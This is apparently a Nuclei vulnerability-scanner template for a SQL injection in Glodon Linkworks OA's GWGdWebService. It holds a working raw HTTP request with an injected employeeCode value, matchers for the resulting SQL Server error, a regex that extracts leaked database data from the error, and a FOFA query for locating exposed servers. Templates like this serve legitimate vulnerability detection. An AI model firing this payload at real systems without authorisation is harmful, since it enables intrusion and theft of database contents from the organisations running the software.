glodon-linkworks-sqli: Glodon Linkworks GWGdWebService - SQL injection

id: glodon-linkworks-sqli

info:
  name: Glodon Linkworks GWGdWebService - SQL injection
  author: DhiyaneshDK
  severity: high
  description: |
    There is a SQL injection vulnerability in the GWGdWebService interface of Glodon Linkworks office OA. Sensitive information in the database can be obtained after sending a request package.
  reference:
    - https://github.com/zan8in/pocwiki/blob/main/%E5%B9%BF%E8%81%94%E8%BE%BE-linkworks-gwgdwebservice%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: banner="Services/Identification/login.ashx"
  tags: glodon,linkworks,sqli,vuln

http:
  - raw:
      - |
        POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        employeeCode=1'-1/user--'&EncryptData=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code==500'
          - 'contains_any(header, "text/html", "text/plain")'
          - 'contains_all(body, "在将 nvarchar 值", "转换成数据类型 int 时失败")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '在将 nvarchar 值 '(.*)' 转换成数据类型 int 时失败。'
# digest: 490a0046304402201777948e3667ed1d8c89d01dba6c1fd6e9ac6ff66efa0188ef14f6c44366e1510220253b1f605760ec6ad5994d17bf4452dbc5bb90daee20c0bb36ebac3a7d3fded8:922c64590222798bb761d5b6d8e72950